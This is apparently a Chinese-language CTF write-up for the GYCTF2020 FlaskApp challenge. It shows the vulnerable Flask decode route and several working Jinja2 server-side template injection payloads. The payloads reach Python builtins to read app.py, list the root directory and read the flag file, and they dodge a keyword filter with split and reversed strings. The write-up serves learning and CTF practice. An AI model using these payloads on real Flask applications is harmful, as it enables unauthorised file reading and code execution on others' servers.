抱着学习的态度看了一下今天的xnuca,不出所料,打开后果然就是我看不懂的题目,,,只能说是知识学的太少了,然后题目又越来越难,哭泣!!!
脑子接受知识的速度赶不上知识更新的速度。。。要了我老命了。。。
好吧,我只配去做有wp的题目了
[GYCTF2020]FlaskApp
flask debug模式
在解密界面随便输入一串字符导致报错会出现代码,根据报错读到了文件的名字说明开启了debug模式,关键代码如下:
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")#获取text参数
text_decode = base64.b64decode(text.encode())#对参数的值进行解密
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :#如果绕过waf,就执行下面的代码
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
加密:
解密:
说明存在ssti模板注入
读取文件内容:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
这里有waf,并且过滤了很多东西,所以可以想到用拼接字符串的方式找目录
根据 os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表
payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__impo'+'rt__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
由于过滤了flag,所以对这个文件名进行拼接或者将字符串倒着输出,如下:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
得到flag
不过这个方法不是预期解
题目要用pin,有点没太看懂,昂。。。